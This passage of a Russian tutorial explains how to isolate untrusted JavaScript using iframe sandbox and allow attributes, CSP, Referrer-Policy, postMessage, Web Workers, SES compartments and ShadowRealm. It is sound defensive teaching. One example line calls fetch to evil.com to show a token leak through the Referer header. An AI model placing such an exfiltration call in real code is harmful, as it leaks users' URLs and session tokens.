console.log(iframe.contentWindow.document.title); // Сработает, так как оба документа имеют same origin
</script>
Если у разных ресурсов хотя бы один компонент схемы (protocol, host, port) будет отличаться, их происхождение будет считаться разным (cross origin). Например, если мы попытаемся встроить в текст статьи на Хабре видео с YouTube, оно будет относиться к другому origin. Cross origin документы работают не только в разных Realms, но и в разных агентах: с собственным event loop, очередями задач и сборщиком мусора. Любое прямое взаимодействие между агентами запрещено на уровне браузера и попытки такого взаимодействия будут бросать исключение:
<iframe id="iframe" src="https://example.com/sandbox.html"></iframe>
<script>
const iframe = document.getElementById("iframe");
console.log(iframe.contentWindow.document.title);
// Такое обращение к cross origin документу не сработает и бросит ошибку
// ❌ SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame.
</script>
За механизм определения origin и доступных форматов коммуникации между контекстами отвечает Same-Origin Police (SOP). Для песочниц стоит использовать самые строгие политики SOP, чтобы вредоносный код не мог взаимодействовать с основным контекстом. Однако для того, чтобы активировать режим cross origin, документ, который подгружается в <iframe> должен размещаться по другому адресу — например, на другом поддомене. В некоторых code playgrounds используется именно такой подход, но это далеко не всегда удобно, так как требует больших инфраструктурных затрат.
Существует более простой и удобный способ разделения разных origins для разных документов. Это использование механизма opaque origin, когда происхождение документа определяется как анонимное. Opaque origin автоматически применяется к тем документам, которые не принадлежат явно к какому-либо источнику. Такие документы считаются полностью изолированными как от родителя, так и друг от друга. Это поведение встречается, когда документ создан одним из следующих способов:
через
data:URL;через
blob:URL;как пустой документ
about:blankиз другого cross origin или opaque origin документа;внутри
<iframe>с атрибутомsandbox, внутри которого не проставлено значениеallow-same-origin.
У документов с opaque origin свойство location.origin всегда будет равно null:
<iframe src="data:text/html,<script>console.log(location.origin);</script>"></iframe>
<!-- console.log(location.origin) выведет null -->
Именно opaque origin чаще всего используется в песочницах, так как этот режим обеспечивает максимально жёсткую изоляцию без необходимости запускать код в отдельном домене.
Подробнее про origin — на MDN.
Активация режима песочницы через атрибут sandbox
Отдельно стоит рассмотреть атрибут sandbox у тега <iframe>. Данный атрибут позволяет указать ограничения для окружения, в котором будет запущен документ внутри <iframe> и для которого браузер запретит или разрешит использование потенциально опасных возможностей страницы. При наличии этого атрибута браузер включает режим жёсткой изоляции и набор ограничений, даже если документ загружен с того же origin:
<iframe>запустится в новом уникальном opaque origin (если нетallow-same-origin),не сможет выполнить большинство небезопасных действий,
внутри него будет запрещено создавать всплывающие окна, выполнять скрипты, отправлять формы и многое другое.
Простой пример песочницы с атрибутом sandbox:
<iframe src="sandbox.html" sandbox></iframe>
В таком режиме <iframe> запрещено запускать какие угодно скрипты и выполнять небезопасные действия, так как никаких явных разрешений в атрибуте не указано. Попытка выполнить любой код внутри <iframe> в page.html выбросит ошибку:
console.log("Привет!");
// ❌ Blocked script execution because the document's frame is sandboxed and the 'allow-scripts' permission is not set
Если передать в атрибут sandbox директиву allow-scripts, то <iframe> сможет выполнить скрипты:
<iframe src="sandbox.html" sandbox="allow-scripts"></iframe>
Однако сейчас <iframe> запущен в режиме cross origin и попытка обратиться к родительскому глобальному объекту будет заблокирована:
console.log(window.parent.document);
// ❌ SecurityError: Blocked a frame with origin ... from accessing a cross-origin frame.
Для того, чтобы включить режим samе origin можно передать дополнительную директиву allow-same-origin. Теперь к родительскому документу можно обратиться напрямую, но при этом всё равно будет запрещено создавать всплывающие окна, изменять URL родителя, автоматически загружать формы и так далее:
<iframe src="sandbox.html" sandbox="allow-scripts allow-same-origin"></iframe>
Для снятия конкретных ограничений нужно явно перечислять директивы. Полный список директив атрибута sandbox достаточно длинный, ниже перечислены самые полезные:
allow-same-origin— возвращает документу в<iframe>настоящий origin (иначе будетnull).allow-scripts— разрешает выполнение JavaScript.allow-forms— разрешает отправку HTML-форм.allow-downloads— разрешает скачивание файлов из iframe (например, через<a download>или прямые ссылки).allow-modals— разрешаетalert,prompt,confirm.
Полный список доступных значений можно посмотреть на MDN.
Разрешаем доступ к отдельным API через атрибут allow
Атрибут allow — ещё одно важное средство для контроля возможностей <iframe>. Он регулирует доступ к чувствительным API браузера: камере, микрофону, буферу обмена, полноэкранному режиму, геолокации, Bluetooth и многому другому.
Синтаксис атрибута allow предполагает использование списка выражений вида:
<directive>=<allowlist>;
<directive> — это конкретная функциональность, для которой будет задан список origins, в рамках которых она будет разрешена.
Полный список директив для атрибута allow доступна на MDN.
<allowlist> — это список origins, для которых разрешена конкретная директива, состоящий из одного и более перечисленных ниже значений:
*— эта функциональность будет разрешена в текущем<iframe>и во всех дочерних<iframe>независимо от их происхождения;'none'— функциональность полностью запрещена;'self'— функциональность доступна в текущем<iframe>и во всех дочерних<iframe>того же происхождения (same origin);'src'— функциональность разрешена в текущем<iframe>, если документ, загруженный в него, происходит с того же URL, который указан в атрибутеsrcу<iframe>;список конкретных origin в кавычках — функциональность будет разрешена только для определённых origins, указанных в списке.
Подробнее про синтаксис данного атрибута можно прочитать в документации MDN.
Если атрибут allow отсутствует, браузер будет автоматически считать, что все чувствительные API внутри <iframe> запрещены. Чтобы разрешить использование нужных возможностей, их необходимо явно перечислить:
<iframe
sandbox="allow-scripts"
allow="camera *; microphone 'none'; clipboard-write"
src="https://example.com/sandbox.html">
</iframe>
В этом случае браузер будет трактовать директивы атрибута как:
camera— доступ разрешён для всех origin;microphone— доступ к микрофону полностью запрещён;clipboard-write— запись в буфер обмена разрешена только со стороныhttps://example.com/sandbox.html.
Помимо атрибута allow может указываться глобальный HTTP-заголовок Permissions-Policy — он перекрывает настройки атрибута, поэтому для полного контроля необходимо настраивать оба механизма.
В совокупности атрибуты sandbox и allow позволяют тонко настраивать привилегии iframe и управлять степенью изоляции песочницы.
При разработке архитектуры песочницы необходимо всегда руководствоваться принципом наименьших привилегий. Любая система должна получать только тот доступ, который минимально необходим ей для выполнения той или иной задачи. Следование этому принципу при проектировании чувствительных к безопасности систем позволяет снизить возможную поверхность атаки системы злоумышленником.
Кроме атрибутов sandbox и allow существует ещё ряд важных защитных механизмов для обеспечения изоляции песочницы, построенной на основе <iframe>. Мы рассмотрим два ключевых механизма — это Content-Security Policy (CSP) и Referrer-Policy.
Заголовок Content-Security Policy
CSP — это встроенный в браузер механизм защиты, который позволяет определить, что именно имеет право загружать и выполнять документ. Этот механизм включается соответствующим HTTP-заголовком, если идёт речь об удалённом ресурсе, или же через установку специального <meta>-тега в головной части документа. Оба подхода позволяют описать, какие именно ресурсы в рамках документа можно загружать и по каким правилам: изображения, стили, скрипты и так далее. Вот пример строгой политики CSP, которая полностью запрещает загрузку любых ресурсов, кроме скриптов с текущего домена:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self';">
Такой набор защитных политик гарантирует, что пользовательский код не сможет загрузить ничего извне и не выйдет за пределы песочницы. CSP работает независимо от атрибутов sandbox и allow — механизм CSP никак не влияет на происхождение документа и не влияет на доступ к конкретным API, но он запрещает этим API выходить наружу. Так он управляет тем, откуда можно, а откуда нельзя загружать ресурсы и на какие именно ресурсы можно, а на какие нельзя отправлять данные и так далее.
Кроме блокировок сетевых запросов и выдачи сетевых привилегий, Content-Security Policy может обеспечить полную блокировку динамического выполнения JS-кода через eval() или new Function(). Такая блокировка будет работать автоматически, кроме того случая, когда для директивы script-src явно указано значение unsafe-eval. Если это значение не указано, то любая попытка исполнить строку кода динамически вызовет ошибку безопасности:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self';">
<script>
eval("console.log('Привет!')");
// ❌ EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script
</script>
Подробнее про Content-Security Policy — на MDN.
Заголовок Referrer Policy
Даже если код в песочнице полностью изолирован, у него всё равно может оставаться лазейка для раскрытия информации об основном окружении. Например, если внутри песочницы выполнить сетевой запрос, браузер может добавить к нему заголовок Referer, который укажет либо полный адрес родительской страницы, либо её origin — в зависимости от настроек по умолчанию:
fetch("https://evil.com/track"); // Браузер может отправить заголовок Referer: https://site.com/page?token=...
Обратите внимание, что сам HTTP-заголовок пишется как
Referer, хотя это ошибочное написание английского слова Referrer. Однако именно такая форма вошла в стандарт HTTP.
Чтобы исключить такую утечку, используется механизм Referrer-Policy. Он управляет тем, будет ли передаваться адрес родительского окружения и в каком виде. В песочницах лучше указывать максимально строгую политику, например no-referrer, через атрибут referrerpolicy у тега <iframe>:
<iframe
sandbox
referrerpolicy="no-referrer"
src="sandbox.html">
</iframe>
Это важный нюанс изоляции, так как без этого атрибута вредоносный код может узнать, где именно встроена песочница и может выкрасть из URL метаданные, токены, идентификаторы сессий и т. д.
Подробнее про Referrer-Policy — на MDN.
Итак, мы рассмотрели все ключевые механизмы безопасности для песочниц на основе <iframe>. Вот минимальная конфигурация <iframe>, учитывающая лучшие практики:
<iframe
src="sandbox.html"
sandbox="allow-scripts"
referrerpolicy="no-referrer"
allow="clipboard-write 'self'"
></iframe>
Такой iframe обладает собственным opaque origin, не раскрывает данные о родителе, не может выполнять внешние скрипты и имеет доступ только к тем API, которые явно разрешены в атрибутах sandbox и allow.
Общение с песочницей через postMessage
После того как для <iframe> будет настроена изоляция, остаётся решить самый важный практический вопрос — каким образом передавать внутрь песочницы пользовательский код и принимать от неё результаты его выполнения. Поскольку песочница живёт в отдельном origin (cross origin или opaque origin), прямой доступ к ней невозможен. Стандартный механизм общения между такими окружениями — это postMessage.
Отправить сообщение в <iframe> можно так:
iframe.contentWindow.postMessage({ type: "run", payload: userCode }, trustedOrigin);
И получить его уже внутри песочницы:
window.addEventListener("message", (event) => {
console.log("Получен код:", event.data.payload);
});
Все данные, передаваемые через
postMessage, отправляются с помощью алгоритма structured clone. Он умеет копировать обычные объекты, массивы, даты,Map,Set,ArrayBufferи большинство встроенных структур, но не копирует функции, DOM-ноды и объекты с замыканиями. Поэтому пользовательский код и результаты выполнения будут передаваться как строки или простые структуры данных.
Поскольку postMessage позволяет любому окну отправлять сообщения, каждое входящее сообщение нужно проверять по event.origin. Это гарантирует, что данные пришли именно от ожидаемого родителя, а не от другого <iframe>, вкладки или расширения. Если origin не совпадает с заранее известным списком доверенных источников, сообщение необходимо игнорировать. Также важно отправлять ответное сообщение строго в тот origin, откуда оно было получено — это сделает коммуникационный канал полностью безопасным и предотвратит попытки перехвата или подмены данных.
Пример безопасной проверки event.origin:
// Разрешаем получать сообщения только от родителя с таким origin
const TRUSTED_ORIGIN = "https://our-site.com";
window.addEventListener("message", (event) => {
// Проверяем, откуда пришло сообщение
if (event.origin !== TRUSTED_ORIGIN) {
return; // Игнорируем всё, что пришло не от родителя
}
// Обрабатываем только доверенные сообщения
if (event.data.type === "run") {
runUserCode(event.data.payload);
}
// Отвечаем обратно только в тот же origin
event.source.postMessage({ type: "done" }, event.origin);
});
Механизм postMessage работает асинхронно: сообщение ставится в очередь событий и обрабатывается только после завершения текущего стека вызовов. Код после вызова postMessage выполняется сразу, а обработчик события message — позже, в следующей итерации event loop.
Handshake: установка канала связи с песочницей
Взаимодействие между родителем и <iframe> всегда асинхронно, так как загрузка документов, выполнение скриптов и работа песочницы происходят по отдельным очередям событий. Для надёжной коммуникации между документами часто используется короткий протокол установления связи — handshake. Использование handshake может помочь решить проблему, когда родительский документ пытается отправить первое сообщение в <iframe> в тот момент, когда внутри песочницы ещё не инициализирован JavaScript и нет обработчика сообщений. Такое сообщение будет потеряно, поэтому сперва важно убедиться, что оба документа готовы к обмену данными и согласовали формат общения.
В родительском документе сперва отправляем сообщение для установления handshake:
const iframe = document.getElementById("sandbox");
// Отправляем установочное сообщение в песочницу
iframe.contentWindow.postMessage({ type: "handshake-in" }, trustedOrigin);
// Ожидаем ответное сообщение от песочницы и только после этого отправляем код
window.addEventListener("message", (event) => {
if (event.data.type === "handshake-out") {
iframe.contentWindow.postMessage({ type: "run", payload: userCode }, trustedOrigin);
}
});
В песочнице принимаем и обрабатываем сообщение, отправляя в родительский документ подтверждение:
// Внутри песочницы отправляем ответное сообщение
window.addEventListener("message", (event) => {
if (event.data?.type === "handshake-in") {
event.source.postMessage({ type: "handshake-out" }, event.origin);
// И только после этого запускаем основной код песочницы
initSandbox();
}
});
Такой обмен сообщениями гарантирует, что инициализация песочницы произойдёт только тогда, когда <iframe> уже загрузился, и внутри него работает слушатель сообщений. Когда handshake завершён, можно безопасно отправлять код, команды выполнения, вывод консоли и любые другие данные.
MessageChannel — изолированная коммуникация с песочницей
Хотя postMessage работает надёжно, у него есть ограничение: все сообщения приходят в один глобальный обработчик message, и любое окно или <iframe> может стать их источником, поэтому приходится постоянно проверять origin. Чтобы сделать коммуникацию ещё безопаснее и исключить посторонние события, можно использовать MessageChannel. Этот механизм создаёт два связанных порта MessagePort, которые общаются только друг с другом. Один порт назначается родительскому документу, а второй передаётся внутрь песочницы — тем самым образуется приватный канал связи.
Сперва в родительском документе создаём канал и передаём порт в песочницу:
const channel = new MessageChannel();
// Отправляем второй порт внутрь iframe
iframe.contentWindow.postMessage(
{ type: "init-port" },
trustedOrigin,
[channel.port2]
);
// Слушаем сообщения, приходящие от песочницы
parentPort.onmessage = (event) => {
console.log("Сообщение из песочницы:", event.data);
};
В песочнице принимаем порт и начинаем общение через MesssageChannel:
window.addEventListener("message", (event) => {
if (event.data.type !== "init-port") return;
// Получаем переданный порт
const port = event.ports[0];
// Слушаем сообщения от родителя
port.onmessage = (event) => {
console.log("Сообщение от родителя:", event.data);
};
// Отправляем ответ
port.postMessage("Привет из песочницы!");
});
Таким образом у песочницы и родительского документа будет создан приватный, полностью изолированный канал связи, не зависящий от глобального события message. Такой подход особенно полезен, если в приложении несколько песочниц или требуется жёсткое разграничение коммуникационных каналов.
BroadcastChannel — обмен сообщениями между несколькими песочницами
Иногда требуется, чтобы несколько <iframe> общались друг с другом или с родителем через общий канал связи. Например, если в системе запущено несколько песочниц и они должны получать единые уведомления: например, изменение темы со светлой на тёмную, обновление настроек или синхронизация состояния. Для таких задач часто используется BroadcastChannel.
Для установки соединения через BroadcastChannel сперва инициализируем его в родительском документе:
const channel = new BroadcastChannel("sandbox-bus");
channel.postMessage({ type: "theme", payload: "dark" });
Внутри песочницы создаём канал с тем же именем:
const channel = new BroadcastChannel("sandbox-bus");
channel.onmessage = (event) => {
if (event.data.type === "theme") {
applyTheme(event.data.payload);
}
};
Все документы с одинаковым именем канала получат одинаковые сообщения. BroadcastChannel не привязан к иерархии окон, работает между вкладками и <iframe>, и не включает автоматическую проверку происхождения. Поэтому его стоит применять только для безопасных операций.
Поскольку каждый cross origin или opaque origin <iframe> живёт в собственном агенте, с отдельным event loop и собственной памятью, обмен данными между разными песочницами и родительским документом может быть довольно ресурсозатратным. По этой причине <iframe>-песочницы отлично подходят для code playgrounds и небольших визуальных редакторов, но плохо масштабируются в системах, где требуется запускать десятки или сотни контейнеров, активно взаимодействующих между собой.
Архитектура песочниц на основе Web Workers
Помимо <iframe>, изолировать выполнение JavaScript-кода можно с помощью Web Workers — механизма, который создаёт отдельный поток исполнения внутри браузера. Воркеры выполняют код в отдельном агенте с собственным event loop и памятью, но в отличие от <iframe> не имеют доступа к DOM и многим привычным браузерным API. Благодаря этому воркеры отлично подходят для создания песочниц, в которых нужно безопасно выполнить сложные вычисления, но не нужно отрисовывать интерфейс на их основе.
Когда браузер создаёт Web Worker, он поднимает для него полностью обособленную среду. Память воркера также отделена от памяти родительского документа, и доступ к ней возможен лишь через специальные механизмы вроде SharedArrayBuffer. При этом выполнение кода в воркере не блокирует интерфейс основного приложения. Даже если внутри песочницы будет запущен бесконечный цикл или тяжёлая вычислительная задача, UI останется отзывчивым, а основная страница продолжит работать в нормальном режиме.
В отличие от обычных документов, в которых глобальный объект доступен через переменную window, в воркерах доступ к глобальному объекту можно получить через переменную self. Впрочем, начиная с ES2020 для доступа к глобальному объекту в воркере можно использовать единый идентификатор globalThis. В глобальном объекте воркера доступен ограниченный набор API. У воркера нет доступа к DOM, document, localStorage, window и другим подобным браузерным API, он может оперировать только переданными данными и встроенными функциями среды.
Создание веб-воркера
Чтобы создать веб-воркер, необходимо подключить отдельный JavaScript-файл с кодом, который будет выполняться в изолированном контексте:
const worker = new Worker('/sandbox-worker.js', { type: 'module' });
Браузер загрузит файл по указанному URL и создаст новый поток исполнения JavaScript.
Создание воркеров контролируется политикой CSP (Content-Security-Policy). Директивы script-src и worker-src определяют, откуда разрешено загружать код и воркеры:
Content-Security-Policy:
script-src 'self';
worker-src 'self';
Указанная выше политика разрешает загрузку воркеров только из собственных скриптов. При строгой политике CSP песочница становится предсказуемой: воркер можно запустить только из доверенного файла, а его код нельзя подменить динамически.
Общение между воркером и родителем
Главный поток и воркер взаимодействуют только через postMessage, который использует алгоритм structured clone. Это исключает доступ к объектам родителя и делает протокол общения предсказуемым.
Со стороны родителя:
worker.postMessage({ type: "run", payload: "2 + 2" });
worker.onmessage = (event) => {
console.log("Сообщение из воркера:", event.data);
};
Со стороны воркера:
self.onmessage = (event) => {
const { type, payload } = event.data;
if (type !== "run") return;
try {
const result = eval(payload);
self.postMessage(result);
} catch (err) {
self.postMessage("Ошибка воркера: " + err.message);
}
};
Прерывание зависшего кода
Если пользовательский код зависнет в бесконечном цикле или будет слишком долго выполнять тяжёлые вычисления, воркер перестанет отвечать на сообщения, при этом UI основного приложения всё ещё будет работать как обычно. Чтобы не ждать ответа воркера бесконечно, в песочнице можно задать таймер, который ограничит время выполнения операций, а по истечению времени таймера принудительно остановить работу воркера из родительского документа через метод `terminate():
// Запускаем таймер: если воркер долго не отвечает, мы его остановим
const timeout = setTimeout(() => worker.terminate(), 1000);
// Слушаем ответ от воркера — если сообщение пришло, то можно обнулить таймер
worker.onmessage = (event) => {
clearTimeout(timeout);
console.log("Сообщение из воркера:", event.data);
};
Метод terminate() мгновенно останавливает поток и освобождает его память. Это защищает песочницу от зависаний и утечек ресурсов при запуске непредсказуемого кода.
Перехват ошибок внутри воркера
Ошибки в воркере не пробрасываются в основной поток, поэтому их нужно перехватывать вручную через событие error:
worker.onerror = (e) => {
console.error('Ошибка воркера:', e.message);
};
Со стороны воркера можно использовать глобальный обработчик onerror:
self.onerror = (message, source, lineno, colno, error) => {
self.postMessage({ type: 'error', payload: error.message || message });
};
Это гарантирует, что любая ошибка внутри песочницы будет возвращена в родительский контекст в контролируемом виде.
Ограничение API внутри воркера
Несмотря на ограниченную среду, воркер всё ещё может выполнять сетевые запросы, импортировать зависимости или загружать новые скрипты через importScripts. Чтобы уменьшить поверхность атак, внутри песочницы можно вручную запретить лишние API:
self.fetch = undefined;
self.importScripts = undefined;
self.XMLHttpRequest = undefined;
Хотя eval() внутри воркера безопаснее, чем в основном потоке, в некоторых случаях его тоже можно ограничить. Если воркер должен выполнять только заранее определённые операции, eval можно заменить на безопасный интерпретатор или парсер выражений:
const safeEval = (code) => {
if (!/^[0-9+\-*/ ().]*$/.test(code)) {
throw new Error("Запрещённое выражение!");
}
return new Function(`"use strict"; ${code}`)();
};
Где использовать воркеры
Web Workers отлично подходят для задач, в которых нужно безопасно выполнять код, которому не нужен доступ к DOM:
трансформация кода (Babel, TypeScript, SWC);
линтинг и анализ кода с помощью AST;
форматирование (Prettier);
сложные вычисления и обработка данных;
выполнение пользовательского JavaScript в REPL-подобных песочницах;
симуляции, математика, криптография, компрессия.
Песочницы на основе <iframe> и Web Worker решают задачу изоляции архитектурно, разделяя контексты выполнения на уровне браузера. Они обеспечивают максимальную защиту кода за счёт автоматического разделения Realms, агентов и глобальных объектов.
Однако существует и широко используется другой подход для создания песочниц, которые работают в пределах одного JavaScript-контекста. Принципы, лежащие в основе такой изоляции, мы уже рассматривали в разделе Глобальный объект и как его изолировать. Тогда мы вручную прятали глобальный объект от пользовательского кода, блокировали прототипы и создавали безопасные копии доступных из песочницы API. Однако существуют инициативы, которые формализовали эти подходы и превратили их в зрелые инструменты с широким практическим применением. В следующей части мы разберём профессиональные решения, которые позволяют безопасно исполнять непроверенный код в рамках одного контекста без использования <iframe> и воркеров.
Архитектура изоляции внутри одного процесса
Песочницы на основе <iframe> и Web Worker обеспечивают изоляцию на уровне браузерной инфраструктуры: у каждой песочницы свой глобальный объект, собственный контекст выполнения и механизм обмена сообщениями. Но существуют сценарии, в которых такой подход может быть слишком ресурсозатратным. Если нужно запустить десятки или сотни независимых песочниц, в которых будут загружены плагины, внешние модули или сторонний код из npm-зависимостей, создание отдельного <iframe> или Web Worker для каждой песочницы будет неоправданно тяжёлым в плане ресурсов и сильно усложнит архитектуру. Именно поэтому в таких сценариях используют другой подход — изоляцию внутри одного процесса и одного экземпляра движка JavaScript. Это позволяет экономить ресурсы и запускать масштабные экосистемы, где на одной странице безопасно сосуществуют десятки и сотни независимых мини-приложений.
Давайте рассмотрим примеры подобных систем:
Figma Plugins
Плагины в Figma — это изолированные расширения основного приложения, написанные сторонними разработчиками. Каждый плагин работает внутри одного процесса, но в ограниченной виртуальной среде, при этом взаимодействует с основным документом только через безопасный API и не может выйти за пределы выданных полномочий.
MetaMask Snaps
Snaps — это расширения для популярного крипто-кошелька MetaMask. Snaps позволяют пользователям добавлять в кошелёк поддержку новых сетей, криптографических примитивов, аналитики и проверок безопасности, не изменяя код самого кошелька. Каждый Snap существует в виде npm-пакета, который запускается в отдельной песочнице, но в пределах одного окружения.
Agoric Smart Contracts
Agoric — это блокчейн-платформа, модули для которой разрабатываются на обычном JavaScript. Каждый смарт-контракт в Agoric — это npm-модуль, загруженный в отдельный контролируемый контекст, который получает только те возможности, которые ему явно выдали и не может влиять на другие контракты или инфраструктуру сети.
Salesforce Lightning Locker
Salesforce — это популярная CRM-платформа, которую можно расширять с помощью установки пользовательских компонентов. Чтобы код разных компонентов мог безопасно сосуществовать в одном приложении, Salesforce использует специальную архитектуру Lightning Locker. Она позволяет создавать для каждого компонента собственный глобальный контекст, ограничивает доступ к DOM и встроенным возможностям платформы, фильтрует доступные API и контролирует коммуникацию между компонентами.
Чтобы в одном процессе могли безопасно сосуществовать десятки изолированных песочниц, недостаточно просто скрыть глобальные переменные, как мы это делали вручную в разделе Глобальный объект и как его изолировать. Нужна более фундаментальная модель — формализуемая, предсказуемая и хорошо спроектированная. За последние 10-15 лет индустрия постепенно пришла к набору принципов, на которых строятся современные системы вроде Figma Plugins, MetaMask Snaps, Agoric Smart Contracts и Salesforce Lightning Locker.
Программная инициализация Realms
Мы уже знаем, что каждый <iframe> создаёт собственный Realm — со своим глобальным объектом и собственным набором встроенных сущностей языка. Однако и <iframe>, и воркеры создают Realms неявно — через механизмы, зависящие от браузера и политик безопасности. Если система требует создания десятков или сотен изолированных окружений в одном процессе, <iframe> или воркеры не подойдут. Инженеры и исследователи из компаний Agoric и Salesforce были одними из первых, кто начал решать эту проблему основательно. Они предложили идею Realms API — стандартизированного механизма создания лёгких и управляемых Realms программно, прямо из JavaScript-кода. Идея заключалась в том, чтобы позволить разработчикам создавать новые окружения исполнения, которые:
имеют свой собственный
globalThisи глобальное окружение;выполняются в рамках одного процесса и одного агентa;
могут взаимодействовать с основным кодом синхронно, упрощая разработку отдельных песочниц;
поддерживают строгую, предсказуемую модель безопасности.
Дизайн Realms API опирается на философию object-capability model. Эта модель безопасности утверждает, что код должен иметь только те полномочия, которые ему вручены явно, и никаких по умолчанию. Модель object-capability применительно к песочницам устроена таким образом, чтобы те получали полномочия в соответствии с принципом минимальных привилегий: мы уже говорили об этом принципе ранее, когда рассматривали песочницы на основе <iframe>.
Подробнее про obect-capability model — в Wikipedia.
Secure ECMAScript
Сам Realms API так и не стал частью стандарта ECMAScript, но идеи, на которых он строился, легли в основу других инициатив, которые продолжают развиваться и используются в системах типа MetaMask Snaps, Agoric Smart Contracts и Salesforce Lightning Locker. Пожалуй, самый интересный и значимый подход на сегодняшний день, который вышел из идей Realms API — это Secure ECMAScript (SES). Разработчики SES отказались от идеи создавать новый набор примитивов для каждого контекста. Вместо этого они предложили централизованно замораживать глобальный контекст и строить поверх него любое количество изолированных окружений, выдавая им только необходимые полномочия. Именно эта идея оказалась практичной, масштабируемой и пригодной для реальных систем. Тем самым была решена ключевая проблема Realms: все песочницы в SES разделяют один и тот же набор intrinsics: такие базовые интерфейсы как Array и Object имеют одну и ту же природу во всех песочницах и проблема разрыва идентичности больше не возникает. При этом каждый контекст получает собственный globalThis, свой набор разрешений и доступов, свои полномочия и работает в полной изоляции от других контекстов.
Основной принцип работы SES основан на трёх ключевых механизмах:
Lockdown
Метод lockdown() замораживает все стандартные объекты JavaScript и делает их неизменяемыми. Это включает в себя прототипы (Object.prototype, Array.prototype и другие), встроенные конструкторы и даже такие функции, как Date.now() или Math.random(), которые удаляются совсем или становятся недоступными для изменения. После применения функции lockdown() любые попытки изменить стандартные объекты будут приводить к ошибке:
import "ses";
lockdown(); // Замораживаем все стандартные объекты и их прототипы одной функцией
Array.prototype.push = () => {}; // ❌ TypeError: Cannot assign to read only property 'push'
console.log(Object.isFrozen([].__proto__)); // ✅ true
Harden
Функция harden() позволять заморозить любой объект, который вы хотите передать непроверенному коду и препятствует его подмене или изменениям. Код внутри песочницы сможет только читать данные и вызывать методы защищённого с помощью harden() объекта, но не переопределять их:
import "ses";
lockdown(); // Включаем режим SES, замораживающий базовые прототипы
// Создаём ограниченную версию console
const safeConsole = harden({
log: (...args) => console.log(...args),
});
// Передаём safeConsole в песочницу
sandbox(safeConsole);
Compartment
После выполнения lockdown() можно создавать так называемые compartments — лёгкие изолированные контексты, работающие по типу программно создаваемых Realms. Каждый compartment имеет собственный globalThis и область видимости, но использует общий замороженный набор стандартных объектов, разделённый со всеми остальными compartments:
import "ses";
lockdown();
const safeConsole = harden({
log: (...args) => console.log(...args),
});
const userCode = "console.log(globalThis)"; // Попытка получить доступ к глобальному объекту из пользовательского кода
// Создаём compartment и явно указываем, что в нём будет доступно
const compartment = new Compartment({
console: safeConsole
});
compartment.evaluate(userCode);
// При запуске песочницы у неё будет свой глобальный объект: { console: { log: [Function: log] } }
Такой код выполняется в новом глобальном окружении, где доступны только явно переданные объекты (например, console) — всё остальное в нём недоступно. Это поведение соответствует принципу Principle of Least Authority (POLA), который заложен в основе подхода SES и позволяет предоставлять коду только те права, которые ему действительно необходимы. Этот принцип также называется принципом минимальных привилегий, который мы рассматривали ранее.
Одной из ключевых особенностей SES является устранение разрыва идентичности, который возникает при работе с независимыми Realms. В SES все compartments делят общий набор замороженных стандартных объектов, что позволяет объектам из разных compartments быть правильно распознанными друг другом:
lockdown();
const c1 = new Compartment();
const c2 = new Compartment();
const arr1 = c1.evaluate('[]');
const arr2 = c2.evaluate('[]');
console.log(arr1 instanceof Array); // ✅ true
console.log(arr2 instanceof Array); // ✅ true
Сегодня подходы, заложенные в SES доступны и активно развиваются в рамках фреймворка Endo, который поддерживают разработчики из компаний Agoric и MetaMask. Идеи SES находят применение в широком спектре реальных систем, где требуется высокая степень безопасности при выполнении стороннего кода и запуск множества изолированных песочниц:
Расширяемые системы: например, MetaMask Snaps — система плагинов для криптокошелька MetaMask, где каждый плагин работает в отдельном compartment с ограниченным API.
Salesforce Lightning Locker, в рамках которого модули от разных разработчиков изолированы по принципу SES, предотвращая доступ к приватным API и глобальному состоянию.
Инструмент LavaMoat, который использует SES для изоляции npm-зависимостей, помещая каждую зависимость в отдельный compartment с индивидуальными разрешениями, тем самым защищая код всей системы от supply chain attack — разновидности атаки, которая эксплуатирует уязвимости скомпрометированных npm-пакетов.
Встраиваемые устройства и IoT: например, движок Moddable XS, запускающий JS-код, написанный для микроконтроллеров, который использует подходы SES, чтобы ограничивать доступ встроенных скриптов к системным функциям устройства.
Secure ECMAScript развивает главную идею, заложенную в Realms API и позволяет создавать логически изолированные контексты в пределах одного окружения. SES — это не замена <iframe> или Worker, но это достаточно стабильная и предсказуемая модель изоляции, которая обеспечивает безопасность на уровне самого языка.
ShadowRealm: нативные легковесные песочницы
Пока одна ветка развития Realms API ушла в сторону расширенных механизмов безопасности вроде SES, внутри комитета TC39 по развитию ECMAScript параллельно зрела другая идея — дать разработчику простой способ создания отдельных Realms прямо из JavaScript-кода, без необходимости создавать <iframe> или запускать воркер. Именно эту нишу занимает предложение ShadowRealm, которое уже дошло до Stage 2.7. Cледующий этап рассмотрения предложения — Stage 3, после которого оно будет постепенно появляться в браузерах и в итоге станет частью официального стандарта. Это новый примитив ECMAScript, создающий полностью изолированное окружение со своими globalThis, встроенными объектами и собственным графом модулей. Внутри ShadowRealm по умолчанию нет доступа к DOM, окну браузера и браузерным API — только к самому JavaScript. Это позволяет безопасно и синхронно выполнять код в чистом Realm, не влияя на состояние основной страницы:
const realm = new ShadowRealm();
realm.evaluate(`globalThis.value = 123`);
console.log(globalThis.value); // undefined — так как новое свойство было установлено в отдельном realm
console.log(realm.evaluate(`globalThis.value`)); // 123
Каждый ShadowRealm создаёт новый набор сущностей:
свой
Object,Array,Function,Error,Promiseи другие встроенные объекты;свои intrinsics и цепочку прототипов для стандартных объектов, не связанную с основным приложением;
собственный
globalThis, изолированный от внешнего мира.
Таким образом ShadowRealm работает как лёгкая виртуальная машина JavaScript, но расположенная внутри текущего процесса и доступная синхронно.
Минималистичный API ShadowRealms
ShadowRealm API состоит всего из двух методов:
evaluate(sourceText)— синхронно выполняет строку кода внутри изолированного контекста:
const realm = new ShadowRealm();
const result = realm.evaluate("1 + 2");
console.log(result); // в консоли: 3
Из evaluate() можно возвращать только примитивы или функции. Попытка вернуть объект вызовет ошибку:
realm.evaluate(`({ x: 1 })`); // ❌ TypeError: object values cannot cross realms
importValue(specifier, bindingName)— импортирует конкретное экспортированное значение из ES-модуля, но выполняет модуль внутри ShadowRealm:
const realm = new ShadowRealm();
const add = await realm.importValue('./math.js', 'add');
console.log(add(2, 3)); // В консоли: 5
Возвращаемая из importValue() функция — это специальный прокси-объект, который позволяет синхронно вызывать реальную функцию внутри ShadowRealm, но не даёт доступ к внешнему globalThis.
